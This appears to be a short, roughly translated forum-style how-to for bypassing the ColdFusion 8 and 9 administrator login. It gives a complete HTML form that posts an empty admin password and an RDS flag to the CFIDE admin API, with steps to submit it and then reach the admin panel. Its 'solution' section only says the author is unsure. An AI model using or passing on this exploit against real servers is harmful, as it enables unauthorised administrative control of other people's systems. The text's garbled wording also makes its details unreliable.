Log on to the background without the coldfusion8 logon Interface

When you log on to the background of coldfusion version 8, you only need to submit a form to bypass user name and password verification. log on to the background. This is the logon page and then write a form submission page locally.

<Form action = "http://XXXX.XXX/CFIDE/adminapi/administrator.cfc? Method = login "method =" post "> <input type =" hidden "name =" adminpassword "value =" "> <input type =" hidden "name =" rdsPasswordAllowed "value = "1"> <input type = "submit"> </form>

 

Save as html run and click "Submit query" and then access the logon page again. Now, the system is in the background.

This vulnerability is used in coldfusion8 and 9
Solution:

The solution is to add a filtering method. I am not sure.